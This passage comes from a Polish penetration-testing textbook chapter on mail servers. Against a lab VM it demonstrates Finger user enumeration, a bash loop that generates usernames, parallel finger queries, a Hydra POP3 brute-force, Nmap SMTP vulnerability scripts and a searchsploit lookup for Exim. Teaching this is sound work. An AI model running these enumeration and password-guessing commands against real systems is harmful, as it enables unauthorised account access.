wanym z użycia, ale nadal obsługiwanym dla zachowania zgodności ze starszymi systemami. Cyrus
to kolejny przykład darmowego oprogramowania o otwartych źródłach, które jest powszechnie
stosowane na całym świecie. Podobnie jak każde inne oprogramowanie, Cyrus również zawiera
wiele udokumentowanych podatności.

PHP Mail
Język skryptowy PHP (PHP: Hypertext Preprocesor, to naprawdę jest skrót rekursywny) jest bardzo
popularnym narzędziem do tworzenia oprogramowania stron WWW. Oczywiście zawiera on funk-
cje umożliwiające obsługę poczty elektronicznej, które pozwalają stronom internetowym automa-
tycznie wysyłać wiadomości e-mail do swoich użytkowników (na przykład wiadomości umożliwia-
jące reset hasła). Starsze wersje języka PHP udostępniały funkcję mail(), która pozwalała wstrzykiwać
dodatkowe argumenty polecenia. Wersja z tym błędem (CVE-2016-10033) była stosowana przez
wiele popularnych programów, takich jak WordPress będący niezwykle popularnym systemem za-
rządzania treściami stosowanym na przykład do prowadzenia blogów.

3681988c430c7fe1e8567c4e2f281f7b
3
182 Rozdział 6  Poczta elektroniczna

Warto też znać podatności pojawiające się w różnych językach oprogramowania, takie jak opi-
sana powyżej. To tylko jeden z przykładów dotyczących jednego języka skryptowego. Jeżeli testu-
jesz określoną aplikację sieciową (tym tematem zajmiemy się za chwilę), z pewnością natkniesz się
na różne pola formularzy oraz inne możliwości wprowadzania danych, które potencjalnie umożli-
wiałyby wstrzyknięcie poleceń SMTP, na które zareaguje agent MTA, taki jak Exim.
Na zakończenie tego rozdziału zaprezentujemy metodę wykorzystania podatności CVE-2017-7692.
Zobaczysz, jak można zmusić program SquirrelMail (napisana w PHP aplikacja do obsługi poczty)
do uruchomienia podanych poleceń w systemie operacyjnym.

Webmail
Webmail to nie konkretny program, ale raczej cała kategoria oprogramowania związana z obsługą
poczty elektronicznej w przeglądarce. Jak każdy program działający w sieci WWW, te również
są dostępne przez port 80 lub 443 (lepiej przez ten drugi), umożliwiając odczytywanie i wysyłanie
wiadomości e-mail. Programy z grupy Webmail mają ogromną różnorodność rodzajów i warian-
tów. Do najpopularniejszych klientów webmail należą Squirrel, Mail, Roundcube i Gmail. Wielu
pracowników najróżniejszych firm uzyskuje też dostęp do swojej poczty za pomocą aplikacji WWW
Microsoft Outlook.
Najważniejsze jest pamiętanie, że każde oprogramowanie zawiera różne błędy, a wszystkie klienty
webmail również są tylko programami. Zostały napisane przez ludzi i od czasu do czasu muszą być
aktualizowane, a ludzie mają tendencje do zapominania o tej konieczności. Istnieją zatem różne
błędy, które można wykorzystać do swoich celów. Niektóre z nich mogły zostać już wykryte i udo-
kumentowane, ale na pewno jest też wiele czekających jeszcze na swoich odkrywców. Musimy zatem
uzyskać jak najwięcej informacji na temat typu, wersji i języka, w jakim został napisany wybrany
klient webmail. W ten sposób będziemy mogli poszukać podatności i exploitów do wykorzystania.
Nasz wirtualny serwer pocztowy udostępnia usługę webmail działającą na porcie TCP 80. Wcze-
śniej ją pomijaliśmy, ale teraz można się jej przyjrzeć. Otwórz swoją przeglądarkę i wpisz do niej
adres IP wirtualnego serwera. W oknie przeglądarki powinna pojawić się strona logowania po-
dobna do tej z rysunku 6.4.
Można tutaj próbować zgadywania różnych nazw użytkowników i ich haseł, ale warto też zwró-
cić uwagę na pewne przydatne informacje wyświetlane na tej stronie. Pierwszą rzeczą jest to, że cały
serwis działa na porcie 80, a komunikacja realizowana jest bez szyfrowania. Oznacza to, że infor-
macje o haśle przesyłane do serwera mogą zostać przechwycone przez atakującego, o ile jest on
odpowiednio zamocowany w infrastrukturze sieciowej. Kolejną ważną rzeczą jest to, że tego ro-
dzaju usługi zwykle są dostępne z dowolnego miejsca na świecie, co jest doskonałym rozwiązaniem
dla pracowników pracujących w różnych krajach i w podróży, ale jednocześnie sprzyja też hake-
rom, którzy mogą prowadzić swoje działania z dowolnego miejsca na świecie. Organizacje, które
nie muszą mieć tak uniwersalnego dostępu do aplikacji obsługi poczty, powinny dokładnie prze-
myśleć temat udostępniania jej w internecie. Jeżeli nasz klient nie stosuje jeszcze wieloskładniko-
wego uwierzytelniania w publicznie dostępnej aplikacji webmail, to na pewno należy zachęcać go
do wprowadzenia tej funkcji.

3681988c430c7fe1e8567c4e2f281f7b
3
Enumerowanie użytkowników za pomocą usługi Finger 183

Rysunek 6.4. Strona logowania do usługi webmail serwera pocztowego

W kolejnych rozdziałach dokładniej przyjrzymy się działaniu serwerów oraz aplikacji WWW.
Na razie zastanów się jeszcze, jakie informacje możesz uzyskać, korzystając z przeglądarki do wy-
świetlenia strony logowania? Przyjrzyj się dokładnie tej stronie, zanim przejdziesz do pozostałej
części tego rozdziału.

Enumerowanie użytkowników
za pomocą usługi Finger
Czasami można mieć szczęście i odkryć działającą, choć przestarzałą usługę, która nie powinna być
już uruchomiona. Skan portów naszego serwera pocztowego ujawnił nawet kilka takich usług. Na
razie skupmy się na jednej z nich: na usłudze Finger. Nie jest to usługa powiązana z obsługą poczty,
bo teoretycznie można się na nią natknąć praktycznie wszędzie (tak naprawdę szanse na to są nie-
wielkie). W tym przypadku używamy tej usługi, żeby zaprezentować, w jaki sposób podatności ist-
niejące w innych usługach mogą zostać wykorzystane do uzyskania szczególnych wyników. W tym
przypadku pozwoli nam to na częściowy dostęp do serwera. W pierwszym kroku musimy użyć
usługi Finger działającej na porcie 79, aby uzyskać listę nazw użytkowników. W drugim kroku uży-
wamy tej listy użytkowników, aby atakiem siłowym uzyskać dostęp do usługi POP3.

3681988c430c7fe1e8567c4e2f281f7b
3
184 Rozdział 6  Poczta elektroniczna

HISTORIA USŁUGI FINGER

Jeżeli zastanawiasz się, skąd wzięła się nazwa Finger, to wyjaśnieniem tej zagadki służy sam
twórca programu — Les Earnets. Poniżej przedstawiamy napisaną przez niego wiadomość,
która została opublikowana w grupie Usenetu alt.folklore.computers:
Finger otrzymał swoją nazwę w związku z gestem wskazywania. Pamiętam, że jakiś czas po tym,
jak program uzyskał popularność, otrzymałem wiadomość od pewnego administratora systemu
z prośbą o zmianę nazwy, żeby użytkownicy nie byli zmuszani do używania „brzydkiego” słowa.
Tej prośbie poświęciłem dokładnie tyle uwagi, na ile zasługiwała.
Źródło: https://groups.google.com/forum/#!msg/alt.folklore.computers/IdFAN6HPw3k/Ci5BfN8i26AJ.
Program Finger powstał mniej więcej w 1971 roku, a popularność uzyskał w czasach świet-
ności sieci ARPANET, ponieważ umożliwiał użytkownikom sprawdzenie, czy inny użytkownik był
aktywny, co pozwalało na przykład na umówienie spotkania. Jeżeli dana osoba była nieobecna,
program używał zwykłego pliku, aby przekazać informację o aktualnym miejscu pobytu tej
osoby, choć ta funkcja była też używana do przekazywania dowolnych innych informacji.

Możesz zatem użyć programu Netcat, aby połączyć się z usługą Finger działającą na porcie 79:
nc 192.168.48.102 79

Po uzyskaniu połączenia możesz wprowadzić dowolną nazwę użytkownika, aby sprawdzić, czy
taki użytkownik istnieje, i uzyskać na jego temat pewne informacje. Najpierw wpisz nazwę admin,
ponieważ jest to typowa nazwa użytkownika istniejąca w wielu systemach.
admin

W tym przypadku okazuje się, że w systemie nie istnieje użytkownik o tej nazwie:
finger: admin: no such user

Spróbuj zatem użyć usługi Finger, aby sprawdzić innych użytkowników, takich jak root. Nasz
serwer działa pod kontrolą systemu uniksowego, prawdopodobnie Linuksa, a to oznacza, że niemal
na pewno istnieje w nim użytkownik root. Jeżeli zastanawiasz się teraz, skąd wiemy, że serwer pocz-
towy działa na bazie systemu Linux (zakładamy teraz, że nie załadowaliśmy go samodzielnie
z obrazu płyty CD), to przyjrzyj się jeszcze raz wynikom skanowania portów programem Nmap.
Po pierwsze usługi działające na tym serwerze doskonale pasują do obrazu systemu uniksowego.
Po drugie sam program Nmap próbował oszacować rodzaj systemu operacyjnego. Stosowne infor-
macje znalazły się pod koniec raportu przygotowanego przez Nmap:
MAC Address: 08:00:27:08:CC:B8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.16 - 4.6

Wprowadzenie nazwy użytkownika root po uzyskaniu połączenia z portem 79 za pomocą pro-

gramu Netcat powinno spowodować wypisanie poniższych informacji:
Login: root Name: root
Directory: /root Shell: /bin/bash
Never logged in.
No mail.
No Plan.

3681988c430c7fe1e8567c4e2f281f7b
3
Enumerowanie użytkowników za pomocą usługi Finger 185

To potwierdza, że w systemie istnieje użytkownik root, co nie powinno być zaskoczeniem

w serwerze działającym na bazie systemu Linux. Zastanówmy się jednak nad implikacjami tego
odkrycia. Możemy zapytać serwer o dowolną nazwę użytkownika i dowiedzieć się, czy taki użyt-
kownik istnieje. W ten sposób można też uzyskać dodatkowe szczegóły, takie jak nazwa katalogu
danego użytkownika, używany przez niego rodzaj powłoki (w tym przypadku jest to powłoka bash)
oraz data ostatniego logowania się użytkownika do systemu. Wyświetlana jest też zawartość pliku
.plan związanego z danym użytkownikiem. Dawniej ten plik umożliwiał odpowiednie zaplanowa-
nie spotkań między użytkownikami albo podawanie informacji o aktualnym miejscu ich pobytu.
Na przykład użytkownik mógł wpisać do pliku .plan informację o tym, że aktualnie jest na urlopie. Taka
informacja byłaby wyświetlana każdemu, kto „wskazałby” tego użytkownika za pomocą usług Finger.
Patrząc uważnie, można zauważyć, że usługa pocztowa działająca na tym serwerze również
ujawnia dość istotne informacje. Na stronie logowania (widocznej na rysunku 6.4) podawany jest
kontaktowy adres e-mail johnk@mailserver01.
Ta informacja może nam pomóc w ataku na serwer. Wykonując działania metodami OSINT,
z pewnością udało Ci się zebrać sporo adresów e-mail, a wiele innych jest przecież dostępnych cał-
kowicie jawnie, czego przykładem może być nasz wirtualny serwer. Sprawdźmy zatem, czy w sys-
temie istnieje użytkownik o nazwie johnk. Nie ma potrzeby każdorazowego używania programu
Netcat, jeżeli chcemy tylko sprawdzić potencjalnego użytkownika w usłudze Finger. W maszynie
wirtualnej Kali Linux mamy już zainstalowanego klienta tej usługi, co oznacza, że wystarczy wpisać
polecenie finger johnk@192.168.48.102, aby uzyskać następującą odpowiedź:
Login: johnk Name:
Directory: /home/johnk Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Jak widać, ten użytkownik istnieje w systemie. Być może zatem w systemie istnieją inni użyt-
kownicy, których nazwy tworzone są zgodnie z tą samą konwencją: imię, pierwsza litera nazwiska.
Aby przetestować tę teorię, przygotujmy mały skrypt w bashu, aby przyspieszyć proces kontrolo-
wania użytkowników za pomocą usług Finger. Wykorzystamy też listę często używanych imion
i nie będziemy ich wymyślać na bieżąco. Ze strony firmy Hacer House możesz pobrać kilka cieka-
wych list słów, które będą nam dobrze służyć w kolejnych ćwiczeniach. Wspomniane listy można
pobrać w ten sposób:
wget --user student --password student https://www.hackerhousebook.com/files/wordlists.tgz

Ten plik .tgz (archiwum tar skompresowane programem Gunzip) zawiera kilka plików z listami
słów. Aby rozpakować jego zawartość, należy użyć polecenia tar z opcją -x (rozpakowanie) oraz
opcją -f uzupełnioną o nazwę pliku.
tar -x -f wordlists.tgz

W ten sposób w aktualnym katalogu zostanie utworzony katalog o nazwie wordlists. Na po-
trzeby naszego ćwiczenia wykorzystamy teraz plik names_short.txt. Zawartość tego pliku możesz
przejrzeć za pomocą poniższego polecenia:
cat ./wordlists/names_short.txt

3681988c430c7fe1e8567c4e2f281f7b
3
186 Rozdział 6  Poczta elektroniczna

Jedną z rzeczy, jakie z pewnością należy robić podczas testowania różnych

systemów i pracy dla różnych klientów, jest ciągłe uzupełnianie swoich list haseł oraz nazw
użytkowników. Należy przy tym brać pod uwagę różne języki, kultury i lokalizacje.
Domyślna instalacja systemu Kali Linux zawiera już kilka list słów (znajdują się w folde-
rze /usr/share/wordlists/), które można wykorzystywać w swojej pracy. Oczywiście prosta
lista słów pobrana ze stron Hacker House jest całkowicie wystarczająca do zademonstro-
wania siłowego ataku na serwer pocztowy. Jednak w przypadku rzeczywistych aplikacji mu-
sisz się wyposażyć w coś więcej niż taka prosta lista najczęściej używanych haseł. Zbieranie
list haseł uzyskanych z publicznych baz danych i później złamanych jest popularnym zaję-
ciem dodatkowym dla każdego szanującego się hakera. Dobrze jest zatem zbierać listy nazw
najróżniejszych rzeczy, na przykład zespołów sportowych, miast, popularnych produktów
oraz innych elementów, które mogą mieć znaczenie dla naszego celu. Można też wykorzy-
stać takie narzędzie jak CeWL (github.com/digininja/CeWL) i za jego pomocą przeszukiwać
strony internetowe, zbierając z nich listy istotnych słów.

Teraz napiszemy sobie prosty program, który przejrzy w pętli wszystkie imiona zapisane w pliku
names_short.txt, a następnie dopisze do każdego imienia litery od a do z. W wyniku otrzymamy
kolejną listę z nazwami użytkowników od „andrewa, andrewb, andrewc” itd. aż do końcowych nazw
„zulux, zuluy i zuluz”. Gdzieś na tej liście znajdzie się też miejsce dla naszego przyjaciela „johnk”.
Wpisz zatem poniższy program w wierszu poleceń, kończąc każdy wiersz naciśnięciem klawisza
Enter. Zauważysz, że po wpisaniu pierwszego wiersza kodu pojawi się znak zachęty (>) oznaczający,
że znajdujemy się wewnątrz pętli.
for imie in `cat ./wordlists/names_short.txt`
do for nazwisko in {a..z}
do echo $imie$nazwisko
done
done

Innym sposobem zapisania tego samego programu może być umieszczenie wszystkich instruk-
cji w jednym wierszu, przy czym znaki nowego wiersza należy wtedy zastąpić znakami średnika,
tak jak poniżej:
for name in `cat ./wordlists/names_short.txt`; do for surname in {a..z}; do echo
´$name$surname; done; done

Gdy naciśniesz klawisz Enter po wpisaniu całego programu, na ekranie powinna pojawić się
poniższa lista nazw użytkowników (tutaj została odpowiednio skrócona):
andrewa
andrewb
andrewc
...
zulux
zuluy
zuluz

Jeżeli taka lista nazw użytkowników miałaby zostać użyta w jakichkolwiek działaniach prak-
tycznych, to trzeba ją zapisać do pliku. Naciśnij klawisze ze strzałką w górę lub w przód, aby wy-
świetlić ostatnio wprowadzone polecenie. Będzie to wykonany przed chwilą program, który teraz
jest wyświetlany w jednym wierszu, niezależnie od tego, jak został wprowadzony pierwotnie.

3681988c430c7fe1e8567c4e2f281f7b
3
Enumerowanie użytkowników za pomocą usługi Finger 187

Na końcu tego polecenia dopisz jeszcze > usernames.txt, aby wynik pracy programu został zapi-
sany do pliku. Pełna postać polecenia (czyli programu) powinna wyglądać następująco:
for name in `cat ./wordlists/names_short.txt`; do for surname in {a..z}; do echo
´$name$surname; done; done > usernames.txt

Znak „większe niż” (nazywany też znakiem przekierowania) jest używany do kierowania wyj-
ścia programu do pliku albo do innego programu lub urządzenia. Domyślnie programy kierują
swoje wyjście do urządzenia stdout, które istnieje we wszystkich systemach uniksowych. Nazwa
stdout jest skrótem od standard output, czyli standardowe wyjście. Jest to wirtualne urządzenie,
które niemal zawsze jest równoznaczne z wypisaniem informacji w oknie terminala. Po zakończe-
niu pracy powyższego polecenia w aktualnym katalogu powinien powstać plik usernames.txt, za-
wierający wszystkie wygenerowane nazwy użytkowników.
Do uruchamiania wielu jednoczesnych (lub równoległych) zadań bardzo przydaje się program
Parallel. Praca równoległa bardzo przyspiesza proces sprawdzania w usłudze Finger kolejnych
nazw użytkowników zapisanych w pliku. Dzięki działaniu równoległemu można bardzo przyspie-
szyć wiele zadań wykonywanych w wierszu poleceń. Aby zainstalować program Parallel w systemie
Kali Linux, musisz wprowadzić poniższe polecenie:
apt install parallel

Teraz można wprowadzić zawartość pliku usernames.txt do potoku podłączonego do wejścia

programu Parallel (za pomocą znaku |). Używanie potoków jest podobne do przekierowywania.
Program Parallel uruchomi z kolei polecenie finger, zastępując znaki nawiasów klamrowych ({})
kolejnymi nazwami użytkowników (a dokładniej zawartością kolejnych wierszy tekstu) pobranymi
z pliku tekstowego. Poniższe polecenie składa się z trzech współpracujących ze sobą programów:
cat, Parallel i Finger:
cat usernames.txt | parallel -j 1 finger {}@192.168.48.102

W tym przykładzie wypisujemy po kolei wszystkie nazwy użytkowników, jedną po drugiej.

Praktycznie w ogólnie nie wykorzystujemy przy tym możliwości programu Parallel, ponieważ na-
kazujemy mu realizować tylko jedno zadanie. Liczbę równoległych zadań określa się za pomocą
parametru -j, a w powyższym poleceniu do tego parametru dopisaliśmy tylko liczbę 1. Lepiej bę-
dzie zatem przerwać wykonywanie tego zadania i uruchomić je ponownie, tym razem zwiększając
liczbę równoległych zadań. Jeżeli nie wiesz, jak to zrobić, polecam zapoznać się z podręcznikiem
(man) programu Parallel. Za pomocą programu grep możesz dodatkowo poprawić czytelność wy-
ników generowanych przez taką procedurę sprawdzania nazw użytkowników. Wpisując poniższe
polecenie, upewnij się, że używasz właściwych znaków cudzysłowu:
cat usernames.txt | parallel -j 5 finger {}@192.168.48.102 | grep -v "no such user."

Ten drobny dodatek do całej procedury przekazuje wyniki do programu grep, który filtruje
wszystkie wiersze tekstu zawierające ciąg znaków no such user. Zauważ, że uruchomienie pro-
gramu Parallel ze zbyt wielką liczbą równoległych zadań spowoduje zablokowanie usługi Finger
z powodu niezdiagnozowanej jeszcze podatności. Lepiej nie używaj zatem więcej niż 30 równole-
głych zadań. O czymś takim dobrze jest pamiętać podczas pracy dla klienta. Uruchomienie zbyt
wielu jednoczesnych zadań może spowodować przeciążenie systemu lub nadmierne wykorzystanie

3681988c430c7fe1e8567c4e2f281f7b
3
188 Rozdział 6  Poczta elektroniczna

jego zasobów, co zwykle prowadzi do przerwy w działaniu. Uruchomienie przygotowanego wcześniej

skryptu umożliwi nam wykrycie kilku nazw użytkowników istniejących w tym systemie, o ile nie
przesadzimy z liczbę jednoczesnych zadań (w tym przykładzie użyliśmy 5). W efekcie powinniśmy
uzyskać następującą listę wyników (nie jest to pełna lista, ale część nazw użytkowników pominęli-
śmy, pozostawiając Ci pole do popisu):
Academic tradition requires you to cite works you base your article on.
When using programs that use GNU Parallel to process data for
publication
please cite:

O. Tange (2011): GNU Parallel - The Command-Line Power Tool,

;login: The USENIX Magazine, February 2011:42-47.

This helps funding further development; AND IT WON'T COST YOU A CENT.
If you pay 10000 EUR you should feel free to use GNU Parallel without
citing.

To silence this citation notice: run 'parallel --citation'.

Login: charliew Name:

Directory: /home/charliew Shell: /bin/bash
Never logged in.
No mail.
No Plan.
Login: johnk Name:
Directory: /home/johnk Shell: /bin/bash
Never logged in.
No mail.
No Plan.
Login: jennya Name:
Directory: /home/jennya Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Nazwy użytkowników uzyskane w ten sposób wpisz do nowego pliku tekstowego, nadając mu
na przykład nazwę realusers.txt. Każdą nazwę wpisuj w osobnym wierszu. Tak zebrane nazwy użyt-
kowników wykorzystamy teraz do przeprowadzenia ataku zgadywania hasła, nazywanego też czę-
sto atakiem siłowym (ang. brute-force attack).

Atak siłowy na serwis POP

Protokół POP3 jest bardzo podatny na różne ataki siłowe, w tym i na atak, który za chwilę zapre-
zentujemy. To rozwiązanie nie ogranicza się wyłącznie do serwisów POP3 działających na serwerze
pocztowym. Używane przez nas narzędzie — Hydra — ma wbudowaną obsługę wielu różnych pro-
tokołów. Programowi Hydra podamy zatem listę wykrytych wcześniej nazw użytkowników oraz
listę potencjalnych haseł. Sam program będzie próbować zalogować kolejnych użytkowników z listy,
używając haseł znajdujących się na drugiej liście. W tym konkretnym przypadku celem ataku siło-
wego będzie serwis POP3, ponieważ jest on bardziej podatny na ten rodzaj ataków w porównaniu

3681988c430c7fe1e8567c4e2f281f7b
3
Atak siłowy na serwis POP 189

z pozostałymi serwisami działającymi na tym serwerze. W poniższym przykładzie wykorzystamy

też plik z hasłami, który był częścią archiwum pobranego wcześniej ze stron Hacker House:
hydra -L realusers.txt -P ./wordlists/weak_passwords.txt 192.168.48.102 pop3

Powyższe polecenie wywołuje program Hydra i używa opcji -L umożliwiającej podanie pliku
zawierającego nazwy użytkowników. Z kolei opcja -P wskazuje plik tekstowy zawierający poten-
cjalne hasła. Oczywiście trzeba też podać adres IP atakowanego hosta, a na końcu również nazwę
protokołu używanego w ataku. Musi to być jeden z protokołów obsługiwanych przez program
Hydra. Listę tych protokołów znajdziesz na stronie podręcznika (man) związanego z programem
Hydra. Po zakończeniu pracy programu powinniśmy uzyskać informacje podobne do podanych
poniżej. Żeby nie psuć zabawy, wykryte hasła zostały w tym wydruku zakryte.
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or
secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-01-29 13:27:01

[INFO] several providers have implemented cracking protection, check
with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 108 login tries
(l:6/p:18), ~7 tries per task
[DATA] attacking pop3://192.168.48.102:110/
[110][pop3] host: 192.168.48.102 login: charliew password: ********
[110][pop3] host: 192.168.48.102 login: ******* password: ********
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-01-29 13:27:21

Teraz mamy już pewien zbiór nazw użytkowników razem z ich hasłami — hail Hydra! Możemy
zatem spróbować wykorzystać te dane, aby zalogować się do różnych serwisów działających na tym
serwerze. Można też założyć, że po dopisaniu do nazw użytkowników przyrostka @mailserver01
uzyskamy adresy e-mail przyjmowane przez serwis SMTP. A to oznacza, że mamy możliwość wy-
syłania do tych użytkowników różnych wiadomości (potem można zalogować się na ich konta
i odczytać wysłane wcześniej wiadomości).
Pomyśl teraz o jakiejś znanej Ci firmie. Być może nawet o firmie, która Cię aktualnie zatrudnia.
Jakiego schematu używa ona do tworzenia adresów e-mail? Czy na podstawie tych adresów można
domyślić się nazw użytkowników różnych systemów? Jeżeli jakąkolwiek informację używaną do
sprawdzania tożsamości użytkownika systemu można wywnioskować z innych danych, to taki sys-
tem stanowi potencjalne zagrożenie. Często systemy nie korzystają z uwierzytelniania wieloskład-
nikowego, a uzyskanie dostępu do nich wymaga jedynie podania nazwy użytkownika i hasła. Jeżeli
nazwa użytkownika jest już znana, to atakujący musi już zgadnąć lub wywnioskować tylko jeden
element informacyjny — hasło. Lepiej założyć, że taka informacja może zostać w końcu uzyskana,
a zwiększenie jej skomplikowania zmniejsza tylko łatwość, z jaką haer może uzyskać dostęp do
systemu. Należy zatem pomyśleć o tym, jak przygotować więcej przeszkód czekających na hakerów,
aby spowolnić ich działania. Jeżeli chcemy ułatwić życie pracownikom firmy, tym samym uła-
twiamy też pracę hakerom. Oczywiście zawsze trzeba zachowywać równowagę między bezpieczeń-
stwem systemu a jego użytecznością rozpatrywaną dla różnych kontekstów. Niestety bardzo często
podejmowane decyzje ułatwiają życie hakerom.

3681988c430c7fe1e8567c4e2f281f7b
3
190 Rozdział 6  Poczta elektroniczna

Język skryptowy programu Nmap

Wcześniej skorzystaliśmy z języka skryptowego programu Nmap (ang. Nmap Scripting Engine) dzia-
łającego w domyślnym trybie, aby przeprowadzić dodatkowe kontrole na naszym serwerze. Infor-
macje uzyskane w wyniki tych kontroli są wyświetlane na końcu raportu skanowania portów.
MAC Address: 08:00:27:08:CC:B8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.16 - 4.6
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=1/15%OT=9%CT=1%CU=44763%PV=Y%DS=1%DC=D%G=Y%M=080027%TM
OS:=5C3DE437%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%I
I=I%
OS:TS=8)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW
7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=712
0%W6=
OS:7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RI
D=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 0.036 days (since Tue Jan 15 12:54:25 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: localhost, mailserver01; OSs: Unix, Linux; CPE:
cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: 0s, deviation: 0s, median: 0s

TRACEROUTE
HOP RTT ADDRESS
0.47 ms 192.168.48.102

NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:46
Completed NSE at 13:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:46
Completed NSE at 13:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results
at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 172.77 seconds
Raw packets sent: 26 (1.986KB) | Rcvd: 14 (1.238KB)

3681988c430c7fe1e8567c4e2f281f7b
3
Język skryptowy programu Nmap 191

Nie wyjaśnimy tu wszystkich elementów z tego wydruku, ale część z nich powinna być od razu
dla każdego czytelna. Najważniejszą zawartą tutaj informacją jest to, że Nmap próbował wykryć
system operacyjny działający na serwerze, oraz to, że uruchomił program traceroute (tu nie otrzy-
maliśmy szczególnie interesujących danych, skoro nasz wirtualny serwer jest tuż obok). Zaraz prze-
konamy się, że część przewidywań bazuje na informacjach zawartych w pakietach TCP, jakie otrzy-
maliśmy w odpowiedzi od sprawdzanego hosta.
Teraz przyjrzyjmy się działaniom, jakie możemy wykonać za pomocą innych skryptów programu
Nmap. Na stronach firmy Hacer House, pod adresem www.hackerhousebook.com/files/nsediscover.py,
można pobrać proste narzędzie, które bardzo pomaga przy przeglądaniu dostępnych skryptów do-
starczanych razem z programem Nmap. Aby skorzystać z tego skryptu, trzeba zainstalować w sys-
temie pakiet python-tk, używając do tego polecenia sudo apt-get install python-tk. Skrypt języka
Python, którego działanie przedstawiamy na rysunku 6.5, wyświetla okienko graficznego interfejsu
umożliwiającego przeglądanie listy skryptów programu Nmap i czytanie opisów każdego z nich.
Można go uruchomić tak samo jak każdy inny skrypt języka Python:
python nsediscover.py

Rysunek 6.5. Skrypt do przeglądania skryptów programu Nmap

Do przeglądania i przeszukiwania skryptów programu Nmap nie musisz używać podanego tu

narzędzia. Poszczególne pliki można też przeglądać ręcznie w systemie. Aby zademonstrować dzia-
łanie skryptów Nmap, ponownie skupimy się na serwisie SMPT działającym na porcie 25. W pro-
gramie nsediscovery.py przewiń listę skryptów aż do znalezienia skryptów SMTP. Włącz jeden
z nich w programie Nmap, używając do tego opcji --script uzupełnionej nazwą wybranego skryptu.
Musisz też podać adres IP badanego serwera oraz numer portu, który chcesz przeskanować. Nie
chcemy przecież, żeby skrypt zaprojektowany do współpracy z usługą SMTP próbował rozmawiać
z każdym portem na serwerze. Jeżeli chcesz uruchomić wszystkie skrypty, których nazwy zaczynają
się od smtp-, to do nazwy skryptu dopisz znak gwiazdki (znak wieloznaczny), tak jak poniżej:
nmap --script=smtp-* 192.168.48.102 -p 25

Powyższe polecenie uruchomi wszystkie skrypty SMTP, podając im za cel adres 192.168.48.102
i wskazując port 25. Nie podaliśmy żadnych innych opcji, dlatego program Nmap wykona też swój
domyślny skan portów. Uruchamianie kilku skryptów jednocześnie może jednak powodować

3681988c430c7fe1e8567c4e2f281f7b
3
192 Rozdział 6  Poczta elektroniczna

różne problemy, w tym i wywołać niestabilność systemu. Poza tym część z tych skryptów zawiera
aktywne exploity, dlatego należy zachować ostrożność przy takim grupowym uruchamianiu skryptów.
Dodatkowo niektóre ze skryptów wymagają podania specjalnych argumentów, którym będziemy
się przyglądać w kolejnych rozdziałach. Ważne jest, żeby każdy skrypt przetestować we własnym,
izolowanym środowisku laboratoryjnym, zanim zaczniemy je stosować w systemach klienta.
Musimy już wcześniej dokładnie znać ich zachowanie. Uruchomienie programu Wireshark lub
innego narzędzia do analizy ruchu sieciowego jest świetną metodą na lepsze poznanie działania
skryptów Nmap. W ten sposób można się dowiedzieć, jakie działania wykonuje skrypt i jaki mogą
one mieć wpływ na docelowy host.
Zauważysz zapewne, że uruchomienie kilku skryptów SMTP może ujawnić różne potencjalne
podatności w oprogramowaniu Exim działającym na wirtualnym serwerze pocztowym. W wyni-
kach skanowania programem Nmap powinny pojawić się zapisy podobne do poniższych:
| smtp-vuln-cve2010-4344:
| Exim version: 4.68
| Exim heap overflow vulnerability (CVE-2010-4344):
|
Exim (CVE-2010-4344): LIKELY VULNERABLE
Exim privileges escalation vulnerability (CVE-2010-4345):
Exim (CVE-2010-4345): LIKELY VULNERABLE

Nmap mówi nam, że badany host może mieć dwie aktywne podatności: CVE-2010-4344
i CVE-2010-4345. Aby uzyskać pewność, musimy spróbować je wykorzystać i potwierdzić wyniki
uzyskane ze skryptu (te są wynikiem analizy wiadomości powitalnej). Użyj zatem programu
Searchsploit, aby znaleźć exploity dla wskazanych podatności. Obie związane są z programem Exim
obsługującym protokół SMTP. Wyszukiwanie dla słowa exim zwróci kilka pasujących wyników:
searchsploit exim

Jeden z exploitów podanych w wynikach wyszukiwania nosi nazwę Exim4 < 4.69 - string_format
Function Heap Buffer Overflow (Metasploit). Chodzi tu o exploit dla podatności CVE-2010-4344,
wynikającej z błędu przepełnienia bufora. Dzięki temu, że w nawiasach widnieje nazwa Metasploit,
